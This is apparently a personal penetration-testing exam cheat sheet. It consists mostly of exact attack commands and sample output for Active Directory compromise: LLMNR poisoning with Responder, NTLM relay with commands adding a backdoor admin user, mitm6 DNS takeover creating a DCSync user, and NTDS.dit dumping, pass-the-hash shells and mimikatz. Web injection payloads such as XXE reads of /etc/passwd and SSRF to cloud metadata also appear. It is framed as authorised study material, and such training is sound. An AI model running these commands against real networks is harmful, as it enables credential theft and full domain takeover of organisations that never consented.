Penetration Testing
Decision Trees & Command Reference

Maharshi Mishra

PNPT / PT1 Exam Prep + Professional Reference

Covers: Recon, Scanning, Web App, Active Directory, PrivEsc, Lateral Movement, Pivoting, Persistence, Credential Harvesting, Cleanup, Web3/Smart Contract Auditing
Format: IF/THEN decision trees + exact command syntax
Use: Print this. Keep it beside your keyboard.

March 2026

Contents

Quick Reference: Common Ports & Services

Port	Service	First Check	Key Tools & Actions
21	FTP	Anonymous login	`ftp <ip>` (user: anonymous). Check version for CVEs. `nmap --script ftp-anon`
22	SSH	Version/banner	Brute force: `hydra -l user -P wordlist ssh://<ip>`. Key reuse. Check for old versions (libssh auth bypass).
23	Telnet	Banner grab	`telnet <ip>`. Cleartext creds. Usually legacy systems.
25	SMTP	User enum	`smtp-user-enum -M VRFY -U users.txt -t <ip>`. Open relay check.
53	DNS	Zone transfer	`dig axfr @<ip> <domain>`. Subdomain enum: `dnsrecon -d <domain>`
80/443	HTTP/S	Tech + dirs	`whatweb <url>`. Dir brute: `gobuster dir -u <url> -w <wordlist>`. `nikto -h <url>`
88	Kerberos	AD present	AS-REP Roast: `GetNPUsers.py`. Kerberoast: `GetUserSPNs.py`
110/143	POP3/IMAP	Cred brute	`hydra -l user -P pass.txt <ip> pop3`. Read emails for intel.
135	MSRPC	RPC enum	`rpcclient -U "" <ip>`. Enum users: `enumdomusers`
139/445	SMB	Null session	`enum4linux -a <ip>`. `smbclient -L //<ip>/ -N`. Shares: `smbmap -H <ip>`
389/636	LDAP/S	Anon bind	`ldapsearch -x -H ldap://<ip> -b "dc=domain,dc=com"`
1433	MSSQL	SA login	`mssqlclient.py user:pass@<ip>`. `xp_cmdshell` for RCE.
3306	MySQL	Root no-pass	`mysql -h <ip> -u root`. UDF exploitation for RCE.
3389	RDP	Brute / vuln	`xfreerdp /u:user /p:pass /v:<ip>`. BlueKeep: `nmap --script rdp-vuln*`
5985	WinRM	Evil-WinRM	`evil-winrm -i <ip> -u user -p pass`. Or with hash: `-H <hash>`
5432	PostgreSQL	Default creds	`psql -h <ip> -U postgres`. `COPY` for file read/write.

Methodology Overview

1. **Pre-Engagement:** Scope, RoE, legal authorization, emergency contacts, report requirements.
2. **Reconnaissance (Passive):** OSINT, DNS, WHOIS, certificate transparency, social media, breach databases.
3. **Scanning & Enumeration (Active):** Host discovery, port scanning, service fingerprinting, vulnerability identification.
4. **Vulnerability Analysis:** Prioritize findings by exploitability and impact. Cross-reference with CVE databases.
5. **Exploitation:** Validate vulnerabilities. Gain initial access. Document every step with screenshots.
6. **Post-Exploitation:** Escalate privileges, move laterally, harvest credentials, establish persistence, assess impact.
7. **Reporting:** Executive summary, technical findings (title/severity/description/impact/PoC/remediation), appendix. PNPT: 15-min live debrief.

Golden Rule

ENUMERATE, ENUMERATE, ENUMERATE. The path forward is almost always visible if you enumerate thoroughly enough. Do not jump to exploitation before completing enumeration. Multiple PNPT passers cite this as the single most important lesson.

Reconnaissance Decision Tree

Passive Reconnaissance

Domain info: `whois <domain>` → registrant, nameservers, dates
DNS records: `dig <domain> ANY` → `dig <domain> MX` → `dig <domain> TXT`
Subdomains: `amass enum -passive -d <domain>` → `assetfinder <domain>` → `crt.sh` (certificate transparency)
Email harvest: `theHarvester -d <domain> -b google,bing,linkedin`
Breach data: DeHashed, HaveIBeenPwned API → credential stuffing candidates
Tech stack: `whatweb <url>` → Wappalyzer browser extension
Google dorks: `site:<domain> filetype:pdf` → `intitle:"index of" site:<domain>`
Shodan: `shodan search hostname:<domain>` → exposed services, banners, CVEs

Active Reconnaissance

Host discovery: `nmap -sn <subnet>/24` → live hosts list
Port scan (fast): `nmap -sC -sV -oN initial.nmap <ip>` → top 1000 ports with scripts + versions
Port scan (full): `nmap -p- -T4 -oN allports.nmap <ip>` → all 65535 ports
UDP scan: `nmap -sU --top-ports 50 <ip>` → SNMP (161), TFTP (69), DNS (53)
Alive subdomains: `cat subs.txt | httprobe` → `gowitness scan --cidr <range>`

Scanning & Enumeration by Service

SMB (139/445)

Null session: `smbclient -L //<ip>/ -N` → list shares without creds
Enum users/shares: `enum4linux -a <ip>` → users, groups, shares, policies, password policy
Check signing: `nmap --script smb2-security-mode -p 445 <ip>` → if "not required" → SMB Relay possible
Mount share: `smbclient //<ip>/<share> -U user%pass` → browse, download, upload
Known vulns: `nmap --script smb-vuln* -p 445 <ip>` → EternalBlue (MS17-010), etc.
With creds: `crackmapexec smb <ip> -u user -p pass --shares` → enumerate accessible shares

LDAP (389/636)

Anonymous bind: `ldapsearch -x -H ldap://<ip> -s base namingcontexts` → get base DN
Full dump: `ldapsearch -x -H ldap://<ip> -b "dc=X,dc=Y"` → users, groups, OUs
With creds: `ldapsearch -x -H ldap://<ip> -D "user@domain" -w pass -b "dc=X,dc=Y"`

HTTP/HTTPS (80/443)

Tech fingerprint: `whatweb <url>` → `curl -I <url>` → server headers, framework, CMS
Directory brute: `gobuster dir -u <url> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt`
Vhost enum: `gobuster vhost -u <url> -w subdomains.txt`
CMS scan: WordPress: `wpscan --url <url> -e ap,at,u`. Drupal: `droopescan`
Vuln scan: `nikto -h <url>` → known misconfigs, default files, dangerous HTTP methods

Web Application Testing Decision Tree

PT1 Exam: Web App

This section is your biggest PT1 exam investment. Deep enumeration across multiple vuln types. Test every parameter, every endpoint. Do not stop at the first finding.

SQL Injection

Detect: Add `'` or `"` to parameters. Error? → SQLi likely. No error? → try blind.
UNION-based: `' UNION SELECT 1,2,3-- -` → find column count. Then: `' UNION SELECT user(),database(),version()-- -`
Boolean-blind: `' AND 1=1-- -` (true) vs `' AND 1=2-- -` (false) → different response = blind SQLi
Time-blind: `' AND SLEEP(5)-- -` → 5-second delay confirms injection
Automate: `sqlmap -u "<url>?id=1" --dbs` → `--tables -D <db>` → `--dump -T <table>`

XSS

Reflected: `<script>alert(1)</script>` in URL params. Check if rendered in response.
Stored: Submit payload in form fields (comments, profiles). Visit page → does it execute?
DOM-based: Check JS that reads from `location.hash`, `document.referrer`, `window.name`.
Filter bypass: `<img src=x onerror=alert(1)>`, `<svg onload=alert(1)>`, case mixing, encoding.

Other Web Vulns

Command Injection: `; ls`, `| cat /etc/passwd`, `$(whoami)`. Blind: `; sleep 5` or DNS callback.
File Upload: Bypass extension filter (double ext: `.php.jpg`). Bypass MIME: change Content-Type. Bypass magic bytes: prepend `GIF89a` to PHP shell.
SSRF: URL parameter accepts URLs? → `http://127.0.0.1/admin` → `http://169.254.169.254/` (cloud metadata)
IDOR: Change `id=1` to `id=2` in URL/API. Access other users' data? → IDOR confirmed.
XXE: XML input? → `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` → `&xxe;` in body.
Path Traversal: `../../etc/passwd`, `....//....//etc/passwd` (filter bypass), null byte `%00` (legacy).

Web3 / Smart Contract Audit Decision Tree

Smart Contract Audit Methodology

Scoping → **Automated analysis** (Slither, Aderyn) → **Manual review** (line-by-line) → **Write findings** → **PoC exploits** → **Report**. Always run automated tools first for coverage, then go manual for business logic that tools miss.

Vulnerability Pattern Decision Tree

Reentrancy: External call before state update? → attacker contract re-enters during callback. **Fix:** Checks-Effects-Interactions pattern. **Tool:** `slither --detect reentrancy-eth`
Access Control: Missing `onlyOwner` or role check on sensitive function? → anyone can call it. Check: `initialize()`, `withdraw()`, `setPrice()`, upgrade functions.
Integer Overflow: Solidity $<$0.8 without SafeMath? → arithmetic wraps. Solidity $\geq$0.8 reverts by default, but `unchecked{}` blocks re-enable it.
Oracle Manipulation: Price from a single DEX pool? → flash loan manipulates price in same tx. **Fix:** TWAP oracles, Chainlink.
Flash Loan Attacks: Can borrow unlimited capital for one tx? → governance voting, price manipulation, liquidity drain. Check: can a flash loan change any state the protocol depends on?
Delegatecall: Proxy pattern? → storage collision between proxy and implementation. Check slot alignment. `selfdestruct` in implementation can destroy proxy.
tx.origin: Used for auth? → phishing attack via intermediary contract. **Fix:** Always use `msg.sender`.
Randomness: Using `block.timestamp`, `blockhash`, or `block.prevrandao`? → miner/validator can influence. **Fix:** Chainlink VRF.
Front-running: Transaction visible in mempool before execution? → sandwich attack, MEV extraction. **Fix:** Commit-reveal, private mempools.
DoS via Revert: Loop iterates over user-supplied array? Contract sends ETH to address that reverts? → function becomes uncallable.
Storage Reading: "Private" variables? → `cast storage <addr> <slot>` reads any storage slot on-chain. Nothing is private.

Tool Commands

Slither: `slither .` → runs all detectors. `slither . --print human-summary` for overview.
Aderyn: `aderyn .` → Cyfrin's Rust-based analyzer. Faster, fewer false positives than Slither.
Foundry: `forge test` → run tests. `forge test -vvvv` → verbose with traces. `forge test --match-test testExploit`
Echidna: `echidna . --contract MyContract` → property-based fuzzing. Define invariants as `echidna_*` functions.
Storage: `cast storage <contract_addr> <slot_number> --rpc-url <url>` → read any storage slot.
Etherscan: Read verified source. Check if proxy → read implementation too. Check events for unusual patterns.

Active Directory Attack Chain

The Full AD Chain: No Credentials → Domain Admin

This is the core PNPT exam flow. Master every branch. The decision is not "which attack to use" but "which attack applies to the current situation."

Initial Internal Attack Strategy — Your Day 1 Playbook

When you land on an internal network (PNPT exam or real engagement), follow this order:

1. Start Responder immediately.

`sudo responder -I eth0 -dPv`

Safe to run all day. Never causes outages. Best hash capture times: **start of business** and **right after lunch** (people logging in triggers LLMNR/NBT-NS broadcasts).

2. Run scans in parallel to generate traffic.

Nmap scans, vulnerability scans—these generate network noise that triggers name resolution broadcasts, which Responder catches. Don't just sit idle.

3. Use mitm6 in short sprints (5–10 min).

It's the "cheat code" but save it. Heath prefers to get his bearings first with Responder. When ready: `sudo mitm6 -d <domain>` + ntlmrelayx targeting LDAPS. Stop after 5–10 minutes. Check loot directory.

4. While waiting, sweep for web interfaces.

`use auxiliary/scanner/http/http_version` in Metasploit to find alive web hosts.

Check every web login for default credentials: printers, Jenkins, Tomcat (`admin:admin`), management consoles, network appliances. Heath has gotten DA from default Jenkins creds.

5. If nothing works after 1–2 days:

Ask the client for a **low-privilege domain account**. This is an acceptable ask: "What happens if an account is compromised later? Let us test that scenario." With a valid account you can Kerberoast, BloodHound enumerate, and password spray.

6. The core philosophy:

"Enumeration is the most important thing in your career. It's not the exploits. It's all the information you can gather and use against an organization." — *Heath Adams*

Phase A: No Credentials

IF LLMNR/NBT-NS enabled → THEN poison and capture hashes

Step-by-step on your Kali machine:

1. Run: `sudo responder -I eth0 -dPv`
2. Check the startup output. You should see all servers listed as `[ON]`:

```
[+] Servers:
    HTTP server    [ON]    SMB server     [ON]
    LDAP server    [ON]    Kerberos server [ON]
    ...all others  [ON]
```

   If HTTP or SMB show `[OFF]`, fix it: `sudo nano /etc/responder/Responder.conf` and set `HTTP = On` and `SMB = On`. Save and restart Responder.
3. Note the IP address Responder is listening on (your Kali IP).
4. **Trigger the poison:** On the **target Windows machine**, open File Explorer. In the address bar at the top, type: `\\<YOUR_KALI_IP>` and press Enter. This forces the Windows machine to attempt LLMNR name resolution, which Responder intercepts.
5. **Watch Responder:** You will see an NTLMv2 hash appear in your terminal. It looks like:

```
[SMB] NTLMv2-SSP Hash: DOMAIN\user::...long hash string...
```

6. **Copy the hash.** Responder may capture multiple hashes from the same user—they all equate to the same password even though the hash strings look different (the challenge/nonce changes each time). Copy **any one** of them into a file: `echo "<full_hash_line>" > hashes.txt`
7. **Crack it on bare metal (DT), not inside the Kali VM.** GPU cracking is dramatically faster on your physical hardware. Transfer `hashes.txt` and `rockyou.txt` to your DT (HP Z440 with Quadro K2200).

   On DT (Windows, PowerShell) — use this exact path:

```
PS C:\Users\Maharshi\Downloads\hashcat-6.2.6> .\hashcat.exe -m 5600 hashes.txt rockyou.txt -O
```

   If you get a CUDA error, add `--backend-ignore-cuda` to fall back to OpenCL:

```
PS C:\Users\Maharshi\Downloads\hashcat-6.2.6> .\hashcat.exe -m 5600 hashes.txt rockyou.txt
    --backend-ignore-cuda -O
```

   Transfer hash from Kali VM to Windows: In Kali, run `python3 -m http.server 8080` in the folder with your hash file. On Windows, open browser to `http://<kali-vm-ip>:8080/` and download `hashes.txt`. Place it in the hashcat folder. `-m 5600` = NetNTLMv2. `-O` = optimised kernels (faster, max password length 27 chars).

   Example output when cracked:

```
FCASTLE::MARVEL:497a...000000:Password1

Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Speed.#1.........: 22536.0 kH/s
Time.Estimated...: 0 secs
```

   The password appears at the end of the hash line after the last colon. In this case: `Password1`.
8. If cracked → you now have `DOMAIN\user:password`. **Go to Phase B.**

Always Crack on Bare Metal — Use Your DT on Exam Day

Run hashcat on your **DT (HP Z440, Quadro K2200)** directly on Windows—not inside a Kali VM. VMs cannot pass through the GPU properly, making cracking 10–100x slower. Your DT cracked an NTLMv2 hash at **22.5 million hashes/second** in under 15 seconds.

This is allowed on both exams:

- **PNPT:** "Can I use any tools I want?" — *"Yes. All tools are allowed. Including Linpeas."* Not proctored. No monitoring software. You work from your own home on your own machines. (Source: official TCM Security PNPT FAQ)
- **PT1:** You can use the provided AttackBox **or your own Kali machine** via OpenVPN. AI tools are also permitted.

Exam day setup: Kali VM on DT for pentesting + PowerShell on DT bare metal for hashcat. Transfer hashes from Kali to Windows via shared folder or `python3 -m http.server`.

Exact path on your DT:

```
PS C:\Users\Maharshi\Downloads\hashcat-6.2.6> .\hashcat.exe -m <mode> hashes.txt rockyou.txt
--backend-ignore-cuda -O
```

Why This Works

When a Windows machine cannot resolve a hostname via DNS, it falls back to LLMNR (Link-Local Multicast Name Resolution) and broadcasts "does anyone know this name?" to the local network. Responder answers "yes, I am that host" and captures the authentication hash the victim sends. These are NTLMv2 hashes—they cannot be used directly for Pass-the-Hash but **can be cracked offline**. Weak passwords fall fast.

IF SMB signing disabled → THEN relay hashes instead of cracking

What is SMB Relay? Instead of cracking hashes gathered with Responder, we relay those hashes to specific machines and potentially gain access directly—no cracking needed.

Requirements: (1) SMB signing must be **disabled or not enforced** on the target. (2) The relayed user credentials must be **local admin** on the target machine for any real value.

Step-by-step:

1. **Identify hosts without SMB signing:**
   `sudo nmap --script=smb2-security-mode.nse -p445 10.0.0.0/24`
   Look for this in the output:
   ```
   Host script results:
   |  smb2-security-mode:
   |    3:1:1:
   |_    Message signing enabled but not required
   ```
   "Enabled but **not required**" = vulnerable to relay. Save these IPs into a targets file:
   `echo "192.168.195.134" >> targets.txt`
   `echo "192.168.195.135" >> targets.txt`
   Note: Do NOT include the Domain Controller—DCs typically enforce signing.
2. **Configure Responder — turn OFF SMB and HTTP.** We want Responder to catch the hash but *not* handle SMB/HTTP traffic itself—ntlmrelayx will handle that.
   `sudo nano /etc/responder/Responder.conf`
   ```
   [Responder Core]
   ; Servers to start
   SQL = On
   SMB = Off        <-- must be Off
   Kerberos = On
   FTP = On
   POP = On
   SMTP = On
   IMAP = On
   HTTP = Off       <-- must be Off
   HTTPS = On
   DNS = On
   LDAP = On
   ```
   Save and close.
3. **Start Responder** (Terminal 1):
   `sudo responder -I eth0 -dPv`
4. **Start ntlmrelayx** (Terminal 2) — there are **3 modes** depending on what you want:
   Mode A — SAM hash dump (default, best first move):
   `sudo ntlmrelayx.py -tf targets.txt -smb2support`
   When a relay succeeds, it automatically dumps the local SAM hashes from the target. This gives you NTLM hashes of local accounts that you can use for Pass-the-Hash.
   Mode B — Interactive SMB shell (`-i` flag):
   `sudo ntlmrelayx.py -tf targets.txt -smb2support -i`
   Opens an interactive SMB client shell on a local port. After a successful relay you will see:
   `[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000`
   Connect to it: `nc 127.0.0.1 11000`

Now you can: `shares` (list shares), `use C$` (connect to C: drive), `ls` (browse files), `get <file>` (download), `put <file>` (upload).

Mode C — Execute a command (`-c` flag):

```
sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

Runs the specified command on the target. Use for quick PoC or more aggressive actions like:

`-c "net user hacker Password123! /add"` → add a local user

`-c "net localgroup Administrators hacker /add"` → make them admin

5. **Trigger the event.** On a target Windows machine, open File Explorer and type `\\<KALI_IP>` in the address bar, then press Enter. The machine will say it cannot access—that is fine.
6. **Watch ntlmrelayx output.** When the hash is relayed:
   - It tries **each IP** in targets.txt. It will **fail against the source machine** (you cannot relay to yourself).
   - It will **succeed against other machines** where the captured user is a local admin.
   - On success with default mode, you see the SAM dump:

```
[*] Authenticating against smb://192.168.195.134 as MARVEL\fcastle SUCCEED
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435...:7facdc498ed1680c4fd1448319a8c04f:::
peterparker:1001:aad3b435...:64f12cddaa88057e06a81b54e73b949b:::
```

7. **Save the hashes.** Copy the SAM dump into a file. These NTLM hashes (the 4th field after the colons) are usable for **Pass-the-Hash** attacks—you do not need to crack them. **Go to Phase C.**

SMB Relay Decision: When to Use Which Mode

SAM dump (default) = best first move. Gets you hashes for PtH across the entire network.
Interactive shell (-i) = when you want to browse files, look for sensitive docs, or upload tools.
Command execution (-c) = quick PoC for the report, or adding a backdoor user for persistence.
In practice, start with the default SAM dump. If you need more, re-run with `-i` or `-c`.

IF IPv6 available on network → THEN DNS takeover with mitm6 — "the cheat code"

What is this? Most Windows networks run on IPv4 but have IPv6 **enabled by default**. Nobody is doing DNS for IPv6. You become the IPv6 DNS server, intercept authentication, and relay it to the DC via LDAPS. This is Heath Adams' go-to attack—"almost like a cheat code." It ships as a default vulnerability in Active Directory.

Two possible outcomes depending on who authenticates:

- **Computer account auth** (triggered by reboot or network event) → full domain info dump (users, groups, computers, descriptions, admin membership)
- **Domain Admin login** (someone logs in while you are listening) → ntlmrelayx **auto-creates a new user** with DCSync rights → **instant game over**

CRITICAL: Run in SHORT SPRINTS Only — 5 to 10 Minutes Max

Do NOT set this up and walk away. mitm6 makes you the DNS server for IPv6 on the network. Running it too long **can and will cause network outages**—machines may lose connectivity, DNS breaks, services stop resolving. On a real engagement, Heath has locked himself out of a network by running this too long. Run for 5–10 minutes at a time, stop, check results, then run again if needed.

Step-by-step:

1. **Open two terminals on Kali.**
2. **Terminal 1 — Start ntlmrelayx** (start this FIRST, before mitm6):

```
sudo ntlmrelayx.py -6 -t ldaps://<DC-IP> -wh fakewpad.<domain.local> -l lootme
```

   Flags explained:
   - `-6` = IPv6 mode
   - `-t ldaps://<DC-IP>` = relay target is the DC's LDAPS (requires the LDAPS certificate to be set up on the DC)
   - `-wh fakewpad.<domain.local>` = sets up a fake WPAD proxy that forces NTLM auth
   - `-l lootme` = directory name where domain dump goes (call it whatever you want)
3. **Terminal 2 — Start mitm6:**

```
sudo mitm6 -d <domain.local>
```

   You will see IPv6 addresses getting assigned to machines on the network. You are now the man-in-the-middle for IPv6 DNS.
4. **Wait for events on the network.** Events that trigger authentication:
   - A machine reboots (easiest to simulate in lab: restart a Windows client)
   - Someone logs in
   - A service starts
   - Windows checks for updates or WPAD config (happens periodically on its own)
5. **Scenario A: Computer account authenticates (no user needed).**
   Watch ntlmrelayx. You will see something like:

```
[*] Authenticating against ldaps://192.168.195.133 as MARVEL\THEPUNISHER$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Domain info dumped into lootdir!
```

The $ at the end means this is a **computer account**, not a user. Even this gives you a massive domain info dump.

6. **Check your loot directory:**
   `ls lootme/`
   You will find CSV, JSON, and HTML files from **LDAP Domain Dump**:
   - `domain_computers.html` — all computers in the domain. Look for **old OS versions** (Windows 7, Server 2008) — these are likely vulnerable.
   - `domain_users_by_group.html` — **the gold mine.** Shows who is in Domain Admins, Enterprise Admins, and other privileged groups. Check the **Description field**—administrators sometimes store passwords in descriptions (e.g., "Password: Winter2026!").
   - `domain_users.html` — all user accounts. Check "Last Logon" — accounts that have **never been logged into** could be honeypot accounts (avoid them).
   - `domain_groups.html` — all groups and their membership.

   Open the HTML files in a browser for easy reading:
   `firefox lootme/domain_users_by_group.html`
7. **Scenario B: Domain Admin logs in — GAME OVER.**
   If a Domain Admin authenticates while mitm6 is running (e.g., admin logs into any machine on the network), ntlmrelayx relays their NTLM creds to the DC via LDAPS and **automatically creates a new user with DCSync rights**:
   ```
   [*] Authenticating against ldaps://192.168.195.133 as MARVEL\Administrator SUCCEED
   [*] User privileges found: Create user
   [*] User privileges found: Adding user to a privileged group (Enterprise Admins)
   [*] User privileges found: Modifying domain ACL
   [*] Adding new user with username: zjifBuWBFL and password: }3YfK+w.pP4hDd5 result: OK
   [*] Success! User zjifBuWBFL now has Replication-Get-Changes-All privileges on the domain
   [*] Try using DCSync with secretsdump.py and this user :)
   ```
   Copy the username and password immediately. The created user has Enterprise Admins group membership and DCSync (Replication-Get-Changes-All) privileges—it can dump every hash in the domain.
8. **Follow up with secretsdump (DCSync):**
   `secretsdump.py <domain>/<created_user>:'<created_password>'@<DC-IP>`
   Example: `secretsdump.py MARVEL/zjifBuWBFL:'}3YfK+w.pP4hDd5'@192.168.195.133`
   This dumps **the entire NTDS.dit**—every user's NTLM hash in the domain including `krbtgt` (for Golden Ticket). **Domain fully compromised.**
9. **STOP mitm6 immediately after you have what you need.** Ctrl+C both terminals. The longer it runs, the higher the risk of network issues.

What to Look For in the Domain Dump

High-value targets: Who is in Domain Admins and Enterprise Admins? Those are your targets.
Passwords in descriptions: Check the Description field for every user—admins often store passwords there.
Old operating systems: Windows 7, Server 2008, Server 2012 — likely vulnerable to known exploits (EternalBlue, etc.).
Service accounts: Accounts like "sqlservice" with SPNs are Kerberoasting targets.
Never-logged-in accounts: Could be honeypots. If an account has zero logins, be cautious before using it.
Password last set: Very old password-set dates suggest the password has never been rotated — likely weak.

Why This Attack is So Powerful

You need **zero credentials**. You just start two tools and wait. If a Domain Admin happens to log in anywhere on the network while you are listening, you go from zero access to full domain compromise in seconds. Even without a DA login, you get a complete map of the domain (users, groups, computers, admins). This is enabled **by default** in Active Directory. The mitigation is to disable IPv6 if not in use, block DHCPv6 traffic, and enable LDAP signing/channel binding—but most environments have not done this.

IF Printers/MFPs on the network → THEN Pass-Back Attack

What is this? Multi-Function Printers (MFPs) store LDAP or SMTP credentials for scan-to-email and authentication. If you can access the printer's web admin panel (EWS) with default credentials, you replace the legitimate LDAP/SMTP server IP with your Kali IP. The printer sends the stored credentials to you **in cleartext**—regardless of password length or complexity.
Why it matters: Printers are forgotten in security. Heath Adams: "I was on a 4-hour internal pentest with nothing to attack except a printer with default creds. It had the CEO's domain admin credentials stored in its LDAP config. Game over."
Step-by-step:

1. **Find printers:** `nmap -p 80,443,631,9100 <subnet>/24` → look for web interfaces.
2. **Access EWS with default credentials:**

Vendor	Username	Password
Ricoh	admin	(blank)
HP	admin	admin or (blank)
Canon	ADMIN	canon
Epson	EPSONWEB	admin

3. **Find LDAP or SMTP settings:** Usually under Networking → Access Control or Networking → SMTP. You will see a server IP address and a username with the password hidden behind asterisks.
4. **Replace the server address with your Kali IP.** Save the settings.
5. **Set up a listener on Kali:**
   For LDAP (port 389): `nc -lvnp 389`
   For SMTP (port 25/587): `nc -lvnp 25`
   Alternatively, `sudo responder -I eth0 -dPv` also captures these.
6. **Trigger an auth event:** Wait for a user to scan/print, or click "Test Connection" in the EWS if available.
7. **Capture cleartext credentials.** The password appears in your listener output in plain text. No cracking needed.

Ref: MindPoint Group — How to Hack Through a Pass-Back Attack

IF Nothing above works → THEN try AS-REP Roasting (no creds needed)

`GetNPUsers.py <domain>/ -usersfile users.txt -no-pass -dc-ip <DC-ip>`

If accounts without preauth found → crack the AS-REP hash: `hashcat -m 18200`

IF Still nothing → THEN enumerate harder

Guest/anonymous SMB access? LDAP anonymous bind? Default credentials on web portals? SNMP community strings (`snmpwalk -c public <ip>`)? Printers with default creds (Pass-Back)? Check **everything**.

Phase B: Got a User (Low-Privilege Credentials)

BloodHound: `bloodhound-python -u user -p pass -d <domain> -c all -ns <DC-ip>` → import JSON into BloodHound → "Find Shortest Paths to Domain Admins"

IF User has SPN → THEN Kerberoast — run this FIRST

`GetUserSPNs.py <domain>/user:pass -dc-ip <DC-ip> -request` →
Save the `$krb5tgs$23$*...` hash to a file →
Crack on DT: `.\hashcat.exe -m 13100 krb.txt rockyou.txt --backend-ignore-cuda -O`

Kerberoasting — Tactical Notes

Run this first. Heath: "This is one of the first attacks I run when I compromise an account." The moment you have *any* valid domain credentials—even the lowest-privilege user—Kerberoast immediately. You do not need admin rights. Any domain user can request TGS tickets.
How it works: Your domain creds → request TGT from KDC → request TGS for a service with an SPN → TGS is encrypted with the **service account's NTLM hash** → you crack it offline. You never touch the target service itself.
Service accounts are often DA. The GetUserSPNs output does not always show group membership. Cross-reference with your BloodHound/mitm6 domain dump to check if the service account (e.g., `SQLService`) is in Domain Admins.
Honeypot detection: If `LastLogon` shows `<never>` for a service account, be cautious—it could be a honeypot account set up to detect Kerberoasting. A real service account that has never logged in is suspicious.

IF ACL abuse path exists (BloodHound) → THEN exploit it

GenericAll on user → reset their password: `net rpc password "target" "newpass" -U "domain/user%pass" -S <DC>`
WriteDACL → grant yourself DCSync rights → go to Phase C
ForceChangePassword → change target's password directly

IF Password reuse suspected → THEN spray across accounts

`crackmapexec smb <DC-ip> -u users.txt -p 'KnownPass123' --continue-on-success`

Watch for lockout thresholds—check password policy first: `crackmapexec smb <DC-ip> -u user -p pass --pass-pol`

IF Delegation configured → THEN abuse it

Unconstrained: compromise the delegating host, extract TGTs from memory
Constrained: `getST.py -spn <target_spn> -impersonate Administrator <domain>/user:pass`

Phase C: Got Local Admin

Professional Insight

You do **not** always need a shell to compromise a domain. More often than not you can go from captured hash → cracked password → Kerberoast → DCSync → domain admin without ever landing a shell on a machine. Getting a shell is a tool in your back pocket for when you need to dig for sensitive files, run local enumeration, or establish persistence—not a requirement for every engagement.

secretsdump.py — Your First Move After Getting Local Admin

With password:

`secretsdump.py MARVEL.local/fcastle:'Password1'@192.168.195.135`

With hash (no password needed):
`secretsdump.py administrator@192.168.195.134 -hashes aad3b435...:7facdc49...`

What to look for in the output (in order of value):

Section	What It Contains and Why It Matters
SAM hashes	Local account NTLM hashes. **Grab administrator + any non-default users** (ignore Guest, DefaultAccount, WDAGUtilityAccount). These hashes can be passed around the network with `--local-auth`. The administrator hash is the prize—if the same password is used on every machine, you own the network.
Cached domain creds	DCC2 hashes from users who logged into this machine. Format: `$DCC2$10240#username#hash`. Crack with `hashcat -m 2100` (slow). Password might be outdated but worth trying.
LSA Secrets	Machine account keys, DPAPI keys, and—critically—**cleartext passwords** from services stored in the registry or from **WDigest**. If you see a password in plain text here, it is an instant win. Also check for autologon credentials.
WDigest	**On Windows 7 / 8 / Server 2008 R2 / Server 2012: WDigest is ENABLED by default.** If a domain admin has logged into one of these older machines, **their password appears in cleartext** in the secretsdump output. This is why finding old OS machines in the network is so valuable.

WDigest — Hunt for Old Machines

When the mitm6 domain dump or BloodHound reveals **Windows 7, Server 2008, or Server 2012** machines on the network, **dump their secrets immediately**. WDigest stores logon passwords in cleartext in memory on these old OSes. If a DA has ever logged into that machine and it has not been rebooted since, you get the DA password **without cracking anything**. On newer systems (Windows 10+, Server 2016+), WDigest is disabled by default. You *can* force-enable it via registry (`HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest` → `UseLogonCredential = 1`), then wait for a login—but this is a watering hole technique. Only do this if desperate, and **always flip it back off before you leave**.

The Iterative Attack Methodology

This is the core loop of an internal pentest:
1. Capture initial creds (Responder / SMB Relay / mitm6)
2. Spray creds across the network with CrackMapExec (Pass-the-Password or Pass-the-Hash)
3. On every `Pwn3d!` host: run `secretsdump.py` to dump SAM + LSA + cached creds
4. Collect all new hashes and passwords found
5. Spray those new creds across the network again
6. Repeat steps 3–5 until you find DA credentials or a path to vertical escalation

Each loop expands your access. One machine leads to new hashes, which lead to more machines, which lead to more hashes. Heath: "Go through every single machine you get access to and dump every single secret dump. You never know where you're going to find DA."

Mimikatz: `sekurlsa::logonpasswords` → plaintext passwords + NTLM hashes from LSASS memory
Mimikatz SAM: `lsadump::sam` → local account hashes

Getting a Shell on a Machine

Three methods, ordered by preference. If one gets blocked, try the next.

Method 1: Impacket psexec.py (preferred — less noisy than Metasploit):

With credentials (domain user):
`psexec.py <DOMAIN>/user:'Password1'@<target-ip>`
Example: `psexec.py MARVEL/fcastle:'Password1'@192.168.195.135`

With NTLM hash (Pass-the-Hash — no password needed):
`psexec.py administrator@<target-ip> -hashes <LM:NT>`
Example: `psexec.py administrator@192.168.195.135 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c`

You get `NT AUTHORITY\SYSTEM`. Type `whoami` to confirm.

Password with special characters?

If the password has weird characters that break the command line, omit it and type it at the prompt instead:
`psexec.py MARVEL/fcastle@192.168.195.135`
It will prompt: `Password:` → paste or type it there.

Method 2: wmiexec.py (fallback if psexec gets caught):
`wmiexec.py <DOMAIN>/user:'Password1'@<target-ip>`

`wmiexec.py administrator@<target-ip> -hashes <LM:NT>`
WMI-based. Semi-interactive shell. Less artifacts on disk than psexec.

Method 3: smbexec.py (second fallback):
`smbexec.py <DOMAIN>/user:'Password1'@<target-ip>`
`smbexec.py administrator@<target-ip> -hashes <LM:NT>`
SMB-based. Does not drop a binary to disk. Use when both psexec and wmiexec are blocked.

Which tool when?

psexec.py = go-to. Reliable. Gets caught by AV sometimes (drops .exe to `ADMIN$`).
wmiexec.py = first fallback. Works on most networks. Semi-interactive.
smbexec.py = second fallback. No file on disk. Stealthiest of the three.
evil-winrm = if WinRM (5985) is open. PowerShell-based. Cleanest. File upload/download built in.
Metasploit psexec = when you need Meterpreter capabilities (pivoting, port forwarding, token impersonation). Noisiest—AV catches it most often.

Method 4: Metasploit psexec (when you need Meterpreter):

```
msfconsole
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <target-ip>
set SMBUser fcastle
set SMBPass Password1
